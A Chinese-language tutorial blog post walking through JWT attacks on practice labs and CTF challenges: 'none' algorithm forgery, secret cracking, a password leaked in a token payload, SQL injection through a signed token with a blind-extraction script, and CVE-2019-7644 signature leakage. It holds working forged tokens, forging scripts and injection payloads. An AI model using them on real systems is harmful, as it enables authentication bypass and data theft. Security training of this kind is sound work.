本文最后更新于 2024-09-27,文章内容可能已经过时。

JWT漏洞利用实战

1.空加密算法(cve-2015-9235)

1.1 ctf-jwt-token

使用docker直接拉取环境进行测试

docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

image-20221212102635797

然后访问到主页,用admin/admin进行登陆的尝试

image-20240927142151815

账号和密码不正确的话就会返回正确的账号和密码

image-20240927142205600

然后使用longz和gogogo账号密码登录后,显示的是普通用户权限

image-20240927142312963

longz/gogogo

进行登录,就会返回登陆的jwt

image-20240927142720275

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzI3NDE4NDE0MDAzLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0OyBydjo0Ni4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ2LjAiLCJyb2xlIjoidXNlciIsImlhdCI6MTcyNzQxODQxNH0.6uAejnIwErn-Fi1kLOq_nJ5I7reNSQzoi7n-x6TSHJ4

将获取的jwt使用jwt.io 进行解码

image-20240927143124491

可以看到是直接可以修改user的,使用python的jwt库进行修改生成新的jwt

import jwt
payload = {
    "auth": 1727418414003,
    "agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
    "role": "admin",
    "iat": 1727418414
}

print(jwt.encode(payload,None,algorithm="none"))

修改后结果为

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzI3NDE4NDE0MDAzLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0OyBydjo0Ni4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ2LjAiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3Mjc0MTg0MTR9。

在登陆longz用户之后刷新页面,将cookie中的token值修改为上边生成的jwt即可获得admin的权限

image-20221212143017267

就可以找到我们的flag

1.2 webgoat

使用docker拉取我们的webgoat镜像

docker search webgoat
docker pull webgoat/webgoat-8.0:v8.1.0
docker pull webgoat/webwolf:v8.1.0
docker pull webgoat/goatandwolf:v8.1.0
docker images
docker run -d -p 8885:8888 -p 8089:8080 -p 9090:9090 webgoat/goatandwolf:v8.1.0

拉取成功之后访问我们的靶场

http://192.168.91.128:8085/WebGoat/start.mvc#lesson/JWT.lesson

image-20240927151709785

注册之后进行登陆,找到投票的靶场

http://192.168.91.128:8085/WebGoat/start.mvc#lesson/JWT.lesson/3

image-20221213144555265

先是游客的权限不能进行投票,修改权限为Tom

image-20240927151906983

点击垃圾桶重置投票,BURP抓包可以看到用户使用的token

image-20240927152052768

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3MjgyODU1NDgsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.MQ12Js27PN7MEZ3TNKG7dGOCRfJ28j2ZL-CcBLCbuj2vOesirIit3B7FzRSIvePfR4tSHAZUqrO4SgGHcdbLFg

image-20240927152412552

admin改成true,alg改为none,即改掉加密算法

这里我们直接使用burpsuite里边的Json Token Attacker插件

抓包发送到Repeater,选择jws里边的alg为none,payload为"admin":“true”

image-20221213150353404

image-20221213150406172

点击Update进行更新,然后放包

可以看到如果是普通用户的话会提示只有管理员可以重置

image-20240927152754035

在使用了空加密算法之后就可以直接使用admin的权限了

image-20240927153358889

2.密钥爆破

JWT_Cracking

靶场地址:https://authlab.digi.ninja/JWT_Cracking
工具地址:GitHub - brendan-rius/c-jwt-cracker

image-20221207155451718

image-20240927153918680

kali安装工具

git clone https://github.com/brendan-rius/c-jwt-cracker

在make之前需要新安装这个库

apt-get install libssl-dev

image-20240927153944616

编译好了之后直接使用

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3Mjc0MjI3NjQsImxldmVsIjoidXNlciIsInVzZXIiOiJqYXNwZXIifQ.43e848PqnqxOQcW3RsSbcN2V4I8NXPtLzBx-gLZYUFw

就可以破解我们jwt中的key

image-20240927154346228

破解完key之后就可以使用key在jwt中进行修改了

image-20240927154722066

image-20240927154750660

只要在VERIFY SIGNATURE中加入我们的密钥就可以了

之后再填入发送我们就可以以xiaoe的用户名admin的权限进行登陆了

image-20240927155021152

3.敏感信息泄露

Leaky JWT

https://authlab.digi.ninja/Leaky_JWT

image-20221207121858574

上边提供的是加密的JWT的token,开发者如果把不必要的信息放在payload里边,那么解密的时候就可能获得用户的用户名和密码。我们将token放到解密的网站进行解密

https://tooltt.com/jwt-decode/

image-20240927160348583

​ 可以看到用户名是admin,密码是经过md5加密的,就可以尝试使用解密网站进行解密2ac9cb7dc02b3c0083eb70898e549b63

https://www.cmd5.com/  

image-20240927160425573

找到用户名和密码

joe / Password1

image-20240927160504836

就可以登陆成功

4.JWT中的sql注入

网鼎杯js_on

靶场环境:ctfhub

https://www.ctfhub.com/#/challenge

image-20240927160616916

在开启环境后进入到我们的首页,进去是一个登陆界面,

image-20240927160656713

使用admin/admin尝试登陆,发现登陆成功,是一个弱口令的登陆

image-20240927160713405

登录之后找到了信息

这里是你的信息:key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6

通过抓包也可以看到是一个jwt的认证

image-20240927160920178

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OiB4UnQqWU1EcXlDQ3hZeGk5YUBMZ2NHcG5tTTJYOGkmNiJ9.dS9Hn6gwXUhuDIFgnibizPvV2o1uiNqRn5QVNjTCWYg

使用jwt.io进行解密

image-20240927160956343

直接使用python的jwt库修改payload部分的值

import jwt
payload = {
    "user": "admin",
    "news": "xiaoe"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').encode('utf-8')
print(encoded_jwt)

image-20240927161420857

修改的结果为

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoieGlhb2UifQ.pIqlOYjtL4Nx8dbf0n37IlOTHIB-XImU6XWYScinTUk

image-20240927161355078

可以看到修改成功,这个地方是可能存在sql注入的,我们可以尝试一下

import jwt
payload = {
    "user": "admin' and 1=1#",
    "news": "xiaoe",
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').encode('utf-8')
print(encoded_jwt)

得到的结果为

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4nIGFuZCAxPTEjIiwibmV3cyI6InhpYW9lIn0.TwG4woeClXCs5gTTOXTj0xe46KruVv-mppxP9pnDMfE

image-20240927161653690

发现Get Out Hacker!!!报错信息,说明这个地方是做好了防护的,存在sql注入的可能性,尝试使用过滤符进行绕过

import jwt
payload = {
    "user": "admin'/**/and/**/1=1#",
    "news": "xiaoe",
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').encode('utf-8')
print(encoded_jwt)

得到的结果为

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4nLyoqL2FuZC8qKi8xPTEjIiwibmV3cyI6InhpYW9lIn0.MQXc_S7X-cAP_cMCG6bTObMOOsRWPlPFWtZtWQmK0tg 

image-20240927161925065

可以看到得到的信息正常显示了,再使用1=2 看返回的结果是否相同

import jwt
payload = {
"user": "admin'/**/and/**/1=2#",
"news": "Woniu"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

得到的结果为

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4nLyoqL2FuZC8qKi8xPTIjIiwibmV3cyI6InhpYW9lIn0.gkUsnyqSgqPrqES8fq17O70JX7MwxwzczNezG6Qlr2k

image-20240927162013447

返回的结果是不一样的,所以是存在布尔盲注的

之后使用python编写脚本使用二分法得到flag即可

image-20240927171002411

# coding=utf-8

import jwt
import requests
import re
import time

requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-fa8327393969ebc9.sandbox.ctfhub.com:10800"

# JWT 负载模板
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def half_interval():
    result = ""
    for i in range(1, 45):
        min_val = 32
        max_val = 127
        while abs(max_val - min_val) > 1:
            mid = (min_val + max_val) // 2
            payload = payloadTmpl.format(i, mid)
            jwttoken = {
                "user": payload,
                "news": "success"
            }
            token = jwt.encode(jwttoken, key, algorithm='HS256')
            cookies = dict(token=str(token))
            res = requests.get(url, cookies=cookies)

            # 检查响应
            if re.findall("success", res.text):
                min_val = mid
            else:
                max_val = mid

            # 添加延迟,避免过快请求
            time.sleep(1)

        result += chr(max_val)
        print(result)

if __name__ == "__main__":
    half_interval()

image-20240927171038664

5. cve-2019-7644

Auth1

CVE-2019-7644:低于1.0.4的所有Auth0-WCF-Service-JWT NuGet软件包版本均在JWT签名验证失败时发出的错误消息中包含有关预期JWT签名的敏感信息。
此漏洞使攻击者可以使用此错误消息来获取任意JWT令牌的有效签名。这样,攻击者可以伪造令牌以绕过身份验证和授权机制。
靶场地址:https://authlab.digi.ninja/Auth1

image-20221213111636095

可以使用上边的jwt进行尝试登陆

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6InVzZXIiLCJ1c2VyIjoic2lkIn0.Hnpn5k6NtrXn8qvOuiSsFjXhAolQGn3TfmGBvA7EGTU

image-20240927172200285

image-20221213111718756

登陆进来的就是一个user权限的用户,在jwt.io里边对信息进行解密

image-20221213111756479

将右边的user换成admin之后复制到靶场下边提交

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwidXNlciI6InNpZCJ9.3NdjwjYHnZz-tSsvXWeYedYzIiJpAlc0-wQgMjjnZq8

发现这个地方出现了报错信息

image-20240927172435437

那上边的signature应该就是正确的,使用上边的前半部分替换掉jwt的后半部分

image-20240927172648992

点击登录后,就可以看到是admin权限登陆,jwt利用成功

image-20240927172658489